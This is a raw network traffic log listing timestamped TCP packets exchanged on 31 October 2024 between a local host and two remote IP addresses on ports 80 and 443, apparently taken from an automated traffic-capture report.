Oct 31, 2024 01:19:21.274864912 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275499105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275515079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275537014 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275541067 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275552034 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275563955 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275568962 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275577068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275590897 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275593042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275608063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275612116 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275623083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275630951 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275639057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275644064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275655985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275664091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275671005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275676012 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275687933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.275693893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275716066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.275722027 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276431084 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276446104 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276460886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276473045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276484013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276487112 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276499033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276505947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276515007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276518106 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276530981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276544094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276546955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276556969 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276563883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276570082 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276580095 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276592016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276593924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276612997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.276626110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.276657104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277399063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277415037 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277429104 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277439117 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277443886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277458906 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277468920 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277473927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277488947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277494907 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277503967 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277513981 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277518034 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277535915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277543068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277551889 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277566910 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277568102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.277591944 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.277616978 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.278192997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.278208971 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.278234959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.278238058 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.278249025 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.278270006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.294193983 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.294399977 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.294469118 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.294488907 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.294569969 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.294615984 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.294621944 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.294722080 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.294761896 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.294766903 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.298805952 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.298887014 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.298897028 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.298914909 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.298964024 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.411051989 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.411118984 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.411148071 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.411170959 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.411184072 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.411223888 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.411228895 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.411262035 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.411299944 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.425098896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425153971 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425170898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425183058 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425229073 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425234079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425236940 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425259113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425275087 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425276995 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425298929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425301075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425311089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425314903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425329924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425339937 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425345898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425363064 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425368071 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425368071 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425379992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425386906 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425395966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425421953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425426006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425436974 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425445080 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425457001 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425462008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425481081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425488949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425496101 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425512075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425525904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425528049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425542116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425546885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425565958 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425590038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425592899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425606012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425621033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425628901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425632000 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425645113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425659895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425661087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425676107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425678968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425692081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425698996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425712109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425724030 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425760984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425790071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425805092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425827980 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425827980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425843000 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425852060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425858974 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425867081 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425874949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425884008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425890923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425911903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425911903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425930023 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425932884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425944090 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425961971 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425971031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425976992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.425983906 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.425992012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426002979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426007986 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426022053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426032066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426043034 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426045895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426058054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426079035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426080942 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426091909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426093102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426115990 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426126957 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426172972 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426213980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426228046 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426229954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426246881 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426253080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426270962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426281929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.426397085 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.426439047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.430602074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.430618048 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.430640936 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.430655956 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.430679083 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.430839062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.430855989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.430871964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.430880070 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.430912018 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.430989027 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431003094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431018114 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431032896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431035995 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431049109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431058884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431063890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431078911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431092024 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431092978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431109905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431118011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431127071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431137085 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431164980 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431205034 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431221008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431233883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431246996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431256056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431272030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431279898 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431287050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431303978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431308985 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431324005 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431328058 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431345940 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431356907 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431363106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431368113 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431392908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431392908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431406975 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431421995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431442976 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431462049 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431566000 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431581020 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431596994 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431603909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431612015 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431627989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431638956 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431644917 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431659937 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431664944 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431675911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431689978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431691885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431703091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431718111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431720018 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431746960 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431771994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431876898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431899071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431914091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431917906 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431929111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431936979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431943893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431952953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431958914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431972027 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.431973934 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431988955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.431991100 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432003975 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432004929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432018042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432033062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432038069 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432048082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432056904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432063103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432079077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432085991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432094097 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432110071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432120085 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432126045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432131052 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432142973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432163000 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432169914 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432199001 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432205915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432224035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432240009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432255030 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432281017 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432298899 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432317972 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432332993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432338953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432349920 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432364941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432384014 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432449102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432471037 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432486057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432499886 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432507038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432513952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432523012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432532072 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432538033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432550907 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432554007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432568073 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432574987 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432589054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432602882 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432615995 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432615995 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432616949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432630062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432640076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432648897 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432655096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432670116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432682037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432684898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432697058 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432699919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432718039 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432727098 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432733059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432748079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432754993 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432764053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.432774067 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.432777882 CET	80	49998	185.215.113.16	192.168.2.6
